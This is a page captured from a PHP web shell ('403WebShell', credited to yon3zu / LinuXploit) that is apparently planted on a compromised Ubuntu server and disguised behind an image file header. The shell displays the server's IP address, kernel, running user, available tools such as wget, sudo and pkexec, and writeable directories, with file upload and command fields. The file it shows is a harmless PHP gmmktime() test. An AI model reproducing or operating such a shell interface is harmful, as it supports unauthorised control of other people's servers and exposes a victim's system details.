????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.117.85.73
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/date/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/date/tests/gmmktime_variation7.phpt
--TEST--
Test gmmktime() function : usage variation - Checking with few optional arguments.
--FILE--
<?php
/* Prototype  : int gmmktime([int hour [, int min [, int sec [, int mon [, int day [, int year]]]]]])
 * Description: Get UNIX timestamp for a GMT date 
 * Source code: ext/date/php_date.c
 * Alias to functions: 
 */

echo "*** Testing gmmktime() : usage variation ***\n";

// Initialise all required variables
$hour = 8;
$min = 8;
$sec = 8;
$mon = 8;
$day = 8;

echo "\n-- Testing gmmktime() function with one optional argument --\n";
var_dump( gmmktime($hour) );

echo "\n-- Testing gmmktime() function with two optional argument --\n";
var_dump( gmmktime($hour, $min) );

echo "\n-- Testing gmmktime() function with three optional argument --\n";
var_dump( gmmktime($hour, $min, $sec) );

echo "\n-- Testing gmmktime() function with four optional argument --\n";
var_dump( gmmktime($hour, $min, $sec, $mon) );

echo "\n-- Testing gmmktime() function with five optional argument --\n";
var_dump( gmmktime($hour, $min, $sec, $mon, $day) );

?>
===DONE===
--EXPECTF--
*** Testing gmmktime() : usage variation ***

-- Testing gmmktime() function with one optional argument --
int(%d)

-- Testing gmmktime() function with two optional argument --
int(%d)

-- Testing gmmktime() function with three optional argument --
int(%d)

-- Testing gmmktime() function with four optional argument --
int(%d)

-- Testing gmmktime() function with five optional argument --
int(%d)
===DONE===

Youez - 2016 - github.com/yon3zu
LinuXploit